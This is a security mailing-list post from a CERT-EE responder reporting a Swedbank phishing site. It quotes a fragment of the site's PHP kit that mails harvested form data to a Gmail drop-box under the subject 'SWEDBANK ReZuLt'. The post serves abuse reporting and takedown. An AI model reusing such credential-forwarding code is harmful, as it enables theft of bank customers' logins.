[nsp-sec] Gmail phishing drop-box

[Tarmo Randel]

Hello!

>From phishing site hosted in AS17139 following information was extracted:

/.../
$send = "rezult0 at gmail.com";
$subject = "SWEDBANK ReZuLt";
$headers = "From: SWEDBANK<Societ<E9>";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";
/.../


Tarmo Randel
CERT-EE
+3726630254